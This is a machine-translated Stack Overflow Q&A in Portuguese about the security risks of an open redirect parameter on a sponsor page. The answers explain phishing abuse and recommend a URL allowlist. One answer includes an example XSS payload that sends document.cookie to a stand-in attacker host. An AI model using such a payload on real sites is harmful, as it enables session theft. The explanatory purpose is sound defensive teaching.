Pergunta

Eu tenho uma página que redireciona para outra página como esta:

http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html

Em seguida, os Sponsor.php página exibe um anúncio com um link dizendo "Continuar a sua página" que os links para o passado em RedirectPage. Existem problemas de segurança / spoofing que poderiam vir com isso? Qual a melhor forma de lidar com isto? (Note que o usuário não está conectado a um ou outro local)

Foi útil?

Solução

É um grande problema. Se eu enviar-lhe um link que se parece com isso:

 http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14

Você vai pensar "Oh, CNN, que é um site legítimo", e você vai abri-lo e clique no botão 'Continue a sua página' link. E então você estará em um dos piores sites pornográficos na rede e ele vai ter uma voz masculina em expansão gigante anunciando a todos os seus colegas de trabalho "Hot Droga, eu quero a! @ $ @ # $ Seu! (& ¤ & ^ $ § até que eu possa não ¡¬ ^ (! # ~~ & $ ^ #! @ $ !! "e você vai ter que explicar ao seu chefe" Eu pensei que era CNN ! "

O buraco aqui é sua reputação . redirecionamentos cegos como este são perigosos.

E isso é apenas um buraco. Como sobre isso?

 http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie

Agora eu XSS-ed seu site e roubado os cookies do seu usuário. Claro, você diz que não há informações de login, mas como sobre os dados da sessão? Ou quando você adicionar um login mais tarde, ou alguém em sua empresa usa essa página um ano mais tarde, onde os usuários está logado.

Outras dicas

Este é definitivamente um risco de segurança. Você deve evitar o uso de variáveis ??na URL quando a segurança está envolvida.

Enquanto nada é totalmente seguro, esta é uma maneira muito melhor de lidar com esse problema: http: //www.webmasterworld.com/forum88/2910.htm

Se sponsor.php permite que qualquer valor em RedirectPage e anúncios implica um endosso, ou incentivar as pessoas a pensar que eles estão no caminho certo você estaria abrindo-o para ser parte de um ataque de phishing. O que é pior, você provavelmente estaria lucrando com esses ataques, que provavelmente fazem as pessoas em vez desagradou.

Manter uma lista de URLs permitidos (ou padrões que podem seguir) que percorrer um longo caminho para evitar problemas.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top